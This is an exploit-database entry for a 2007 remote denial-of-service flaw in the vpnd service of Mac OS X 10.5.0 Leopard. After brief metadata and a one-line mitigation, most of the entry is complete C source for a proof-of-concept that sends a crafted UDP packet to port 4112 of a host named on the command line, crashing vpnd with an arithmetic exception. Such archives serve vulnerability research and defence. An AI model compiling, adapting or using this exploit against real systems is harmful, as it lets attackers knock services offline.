vpnd remote DoS

vendor:

MACOS X

by:

mu-b

5.5

CVSS

MEDIUM

Denial of Service (DoS)

189

CWE

Product Name: MACOS X

Affected Version From: MACOS X 10.5.0 (leopard)

Affected Version To: MACOS X 10.5.0 (leopard)

Patch Exists: NO

Related CWE:

CPE: cpe:2.3:o:apple:macos_x:10.5.0

Metasploit:

Other Scripts:

Platforms Tested: MACOS X 10.5.0 (leopard)

2007

This is a proof-of-concept exploit for a remote Denial of Service (DoS) vulnerability in Apple MACOS X 10.5.0 (leopard) vpnd. The exploit triggers an arithmetic exception, causing the program to crash.

Mitigation:

Apply the latest updates and patches from Apple to fix this vulnerability. Avoid running untrusted code or opening malicious network connections.

Source

Exploit-DB raw data:

/* vpnd-leopard-lb-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
 * by mu-b - Fri 9 Nov 2007
 *
 * - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
 *
 * Program received signal EXC_ARITHMETIC, Arithmetic exception.
 * 0x00004828 in accept_connections ()
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "\x00\x01\x00\x18"
  "\x00\x00\x00\x00"
  "\xd5\xa5\xf9\xc3"
  "\x00\x00"          /* [edi+0Ch] -> ecx == 0 */
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%d\n", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-12-04]